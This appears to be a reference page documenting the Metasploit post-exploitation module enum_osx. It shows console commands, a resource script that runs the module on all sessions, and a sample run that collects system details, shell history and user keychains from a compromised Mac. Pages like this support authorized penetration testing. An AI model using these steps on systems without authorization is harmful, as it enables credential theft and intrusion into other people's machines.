OS X Gather Mac OS X System Information Enumeration - Metasploit
This page contains detailed information about how to use the post/osx/gather/enum_osx metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: OS X Gather Mac OS X System Information Enumeration
Module: post/osx/gather/enum_osx
Source code: modules/post/osx/gather/enum_osx.rb
Disclosure date: -
Last modification time: 2020-09-22 02:56:51 +0000
Supported architecture(s): -
Supported platform(s): OSX
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module gathers basic system information from Mac OS X Tiger (10.4), through Mojave (10.14).
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
There are two ways to execute this post module.
From the Meterpreter prompt
The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:
meterpreter > run post/osx/gather/enum_osx
From the msf prompt
The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.
msf > use post/osx/gather/enum_osx
msf post(enum_osx) > show options
... show and set options ...
msf post(enum_osx) > set SESSION session-id
msf post(enum_osx) > exploit
If you wish to run the post against all sessions from framework, here is how:
1 - Create the following resource script:
framework.sessions.each_pair do |sid, session|
run_single("use post/osx/gather/enum_osx")
run_single("set SESSION #{sid}")
run_single("run")
end
2 - At the msf prompt, execute the above resource script:
msf > resource path-to-resource-script
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Vulnerable Application
This module gathers basic system information from Mac OS X Tiger (10.4), through Mojave (10.14).
The following information is enumerated:
- OS
- Network
- Bluetooth
- Ethernet
- Printers
- USB
- Airport
- Firewall
- Known Networks
- Applications
- Development Tools
- Frameworks
- Logs
- Preference Panes
- StartUp
- TCP/UDP Connections
- Environment Variables
- Last Boottime
- Current Activity
- Process List
- Users & Groups
- User history files (
.bash_history
) - User keychains (downloaded as well)
Verification Steps
- Start msfconsole
- Get a shell, user level is fine
- Do:
use post/osx/gather/enum_osx
- Do:
set session #
- Do:
run
- You should have lots of files saved to the logs folder
Scenarios
User level shell on OSX 10.14.4
msf5 > use post/osx/gather/enum_osx
msf5 post(osx/gather/enum_osx) > show options
Module options (post/osx/gather/enum_osx):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
msf5 post(osx/gather/enum_osx) > set session 1
session => 1
msf5 post(osx/gather/enum_osx) > run
[*] Running module against MacBook-Pro.nogroup
[*] Saving all data to /logs/post/enum_osx/MacBook-Pro.nogroup_20190415.5738
[*] Enumerating OS
[*] Enumerating Network
[*] Enumerating Bluetooth
[*] Enumerating Ethernet
[*] Enumerating Printers
[*] Enumerating USB
[*] Enumerating Airport
[*] Enumerating Firewall
[*] Enumerating Known Networks
[*] Enumerating Applications
[*] Enumerating Development Tools
[*] Enumerating Frameworks
[*] Enumerating Logs
[*] Enumerating Preference Panes
[*] Enumerating StartUp
[*] Enumerating TCP Connections
[*] Enumerating UDP Connections
[*] Enumerating Environment Variables
[*] Enumerating Last Boottime
[*] Enumerating Current Activity
[*] Enumerating Process List
[*] Enumerating Users
[*] Enumerating Groups
[*] Extracting history files
[*] History file .bash_history found for h00die
[*] Downloading .bash_history
[*] Enumerating and Downloading keychains for h00die
[*] Post module execution completed
msf5 post(osx/gather/enum_osx) > ls -lah /logs/post/enum_osx/MacBook-Pro.nogroup_20190415.5738
[*] exec: ls -lah /logs/post/enum_osx/MacBook-Pro.nogroup_20190415.5738
total 1.4M
drwxr-xr-x 2 root root 4.0K Apr 15 07:58 .
drwxr-xr-x 3 root root 4.0K Apr 15 07:57 ..
-rw-r--r-- 1 root root 4.2K Apr 15 07:57 Airport.txt
-rw-r--r-- 1 root root 87K Apr 15 07:57 Applications.txt
-rw-r--r-- 1 root root 3.5K Apr 15 07:57 Bluetooth.txt
-rw-r--r-- 1 root root 64 Apr 15 07:58 Current Activity.txt
-rw-r--r-- 1 root root 0 Apr 15 07:57 Development Tools.txt
-rw-r--r-- 1 root root 308 Apr 15 07:58 Environment Variables.txt
-rw-r--r-- 1 root root 0 Apr 15 07:57 Ethernet.txt
-rw-r--r-- 1 root root 129 Apr 15 07:57 Firewall.txt
-rw-r--r-- 1 root root 316K Apr 15 07:58 Frameworks.txt
-rw-r--r-- 1 root root 62 Apr 15 07:58 Groups.txt
-rw-r--r-- 1 root root 414 Apr 15 07:58 h00die_.bash_history.txt
-rw-r--r-- 1 root root 63 Apr 15 07:58 h00die_bash__line_342__usr_bin_security__No_such_file_or_directory
-rw-r--r-- 1 root root 1.3K Apr 15 07:57 Known Networks.txt
-rw-r--r-- 1 root root 32 Apr 15 07:58 Last Boottime.txt
-rw-r--r-- 1 root root 841K Apr 15 07:58 Logs.txt
-rw-r--r-- 1 root root 2.1K Apr 15 07:57 Network.txt
-rw-r--r-- 1 root root 364 Apr 15 07:57 OS.txt
-rw-r--r-- 1 root root 8.8K Apr 15 07:58 Preference Panes.txt
-rw-r--r-- 1 root root 204 Apr 15 07:57 Printers.txt
-rw-r--r-- 1 root root 34K Apr 15 07:58 Process List.txt
-rw-r--r-- 1 root root 0 Apr 15 07:58 StartUp.txt
-rw-r--r-- 1 root root 739 Apr 15 07:58 TCP Connections.txt
-rw-r--r-- 1 root root 4.1K Apr 15 07:58 UDP Connections.txt
-rw-r--r-- 1 root root 1.7K Apr 15 07:57 USB.txt
-rw-r--r-- 1 root root 62 Apr 15 07:58 Users.txt
Go back to menu.
Msfconsole Usage
Here is how the osx/gather/enum_osx post exploitation module looks in the msfconsole:
msf6 > use post/osx/gather/enum_osx
msf6 post(osx/gather/enum_osx) > show info
Name: OS X Gather Mac OS X System Information Enumeration
Module: post/osx/gather/enum_osx
Platform: OSX
Arch:
Rank: Normal
Provided by:
Carlos Perez <[email protected]>
Compatible session types:
Meterpreter
Shell
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Description:
This module gathers basic system information from Mac OS X Tiger
(10.4), through Mojave (10.14).
Module Options
This is a complete list of options available in the osx/gather/enum_osx post exploitation module:
msf6 post(osx/gather/enum_osx) > show options
Module options (post/osx/gather/enum_osx):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Advanced Options
Here is a complete list of advanced options supported by the osx/gather/enum_osx post exploitation module:
msf6 post(osx/gather/enum_osx) > show advanced
Module advanced options (post/osx/gather/enum_osx):
Name Current Setting Required Description
---- --------------- -------- -----------
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Post Actions
This is a list of all post exploitation actions which the osx/gather/enum_osx module can do:
msf6 post(osx/gather/enum_osx) > show actions
Post actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the osx/gather/enum_osx post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 post(osx/gather/enum_osx) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
failed to run <NAME>
Here is a relevant code snippet related to the "failed to run <NAME>" error message:
157: command_output = cmd_exec(command[0],command[1])
158: # Save data lo log folder
159: begin
160: file_local_write(log_folder+"//#{name}.txt",command_output)
161: rescue
162: print_error("failed to run #{name}")
163: end
164: end
165: end
166:
167: def enum_accounts(log_folder,ver_num)
Go back to menu.
Related Pull Requests
- #14202 Merged Pull Request: Implement the zeitwerk autoloader within lib/msf/core
- #14016 Merged Pull Request: post/osx/gather/enum_osx: Fix typos
- #14006 Merged Pull Request: Update path in osx_enum to fix keychain download
- #11733 Merged Pull Request: osx docs and cleanup
- #10083 Merged Pull Request: Add Msf::Post::OSX::Priv mixin
- #10048 Merged Pull Request: Remove cmd exec cargo culting
- #10047 Merged Pull Request: fix #10046, remove invalid timeout argument on cmd_exec
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6687 Merged Pull Request: Fix meterpreter platform to include OS in the tuple for all meterpreters
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #5964 Merged Pull Request: Support meterpreter for OS X post modules
- #5654 Merged Pull Request: Python Meterpreter Transport
- #3664 Merged Pull Request: Remove hashdump functionality from enum_osx module
- #2525 Merged Pull Request: Change module boilerplate
- #2304 Merged Pull Request: Fix load order in posts, hopefully forever
- #1241 Merged Pull Request: Removed all $Id$ and $Revision$ occurences
- #957 Merged Pull Request: Require's for all the include's
- #444 Merged Pull Request: Fixes for OSX and Remote Desktop Post Modules
Go back to menu.
See Also
Check also the following modules related to this module:
- post/osx/gather/apfs_encrypted_volume_passwd
- post/osx/gather/autologin_password
- post/osx/gather/enum_adium
- post/osx/gather/enum_airport
- post/osx/gather/enum_chicken_vnc_profile
- post/osx/gather/enum_colloquy
- post/osx/gather/enum_keychain
- post/osx/gather/enum_messages
- post/osx/gather/gitignore
- post/osx/gather/hashdump
- post/osx/gather/password_prompt_spoof
- post/osx/gather/safari_lastsession
- post/osx/gather/vnc_password_osx
Authors
- Carlos Perez <carlos_perez[at]darkoperator.com>
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.